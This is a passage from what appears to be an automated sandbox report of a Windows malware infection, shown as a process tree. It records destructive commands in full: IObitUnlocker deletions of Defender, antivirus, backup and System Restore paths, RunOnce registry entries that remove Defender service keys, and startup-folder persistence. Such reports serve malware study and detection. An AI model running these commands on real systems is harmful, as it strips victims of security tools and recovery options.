\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:4588
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:1416
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                                                                                                                          6⤵
                                                                                                                                            PID:5352
                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                              sc stop IObitUnlocker
                                                                                                                                              7⤵
                                                                                                                                              • Launches sc.exe
                                                                                                                                              PID:5424
                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                              sc delete IObitUnlocker
                                                                                                                                              7⤵
                                                                                                                                              • Launches sc.exe
                                                                                                                                              PID:5404
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4456"
                                                                                                                                            6⤵
                                                                                                                                              PID:5476
                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                taskkill /f /pid "4456"
                                                                                                                                                7⤵
                                                                                                                                                • Kills process with taskkill
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:480
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
                                                                                                                                            5⤵
                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                            PID:5560
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                                                                                                                            5⤵
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            PID:6112
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                                                                                                                            5⤵
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            PID:5632
                                                                                                                                      • C:\Windows\svchosthelper.exe
                                                                                                                                        "C:\Windows\svchosthelper.exe"
                                                                                                                                        3⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:4548
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupQuzMuzWara.url" & echo URL="C:\Users\Admin\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupQuzMuzWara.url" & exit
                                                                                                                                      2⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:4220
                                                                                                                                    • C:\Users\Admin\Documents\MyAdobeConfig\jsc.exe
                                                                                                                                      C:\Users\Admin\Documents\MyAdobeConfig\jsc.exe
                                                                                                                                      2⤵
                                                                                                                                      • Drops startup file
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Adds Run key to start application
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:5580
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Documents\MyAdobeConfig\jsc.exe" ..
                                                                                                                                      2⤵
                                                                                                                                        PID:3436
                                                                                                                                        • C:\Users\Admin\Documents\MyAdobeConfig\jsc.exe
                                                                                                                                          C:\Users\Admin\Documents\MyAdobeConfig\jsc.exe ..
                                                                                                                                          3⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:5152
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\10955890101\XaUfT3G.exe
                                                                                                                                        2⤵
                                                                                                                                          PID:6116
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\10955890101\XaUfT3G.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\10955890101\XaUfT3G.exe
                                                                                                                                            3⤵
                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            PID:5900
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10955890101\XaUfT3G.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10955890101\XaUfT3G.exe"
                                                                                                                                              4⤵
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              PID:4428
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c C:\ProgramData\botoboto\mybotos.exe {911DF8D7-FFA4-4EA7-91BA-20DE9278439A}
                                                                                                                                          2⤵
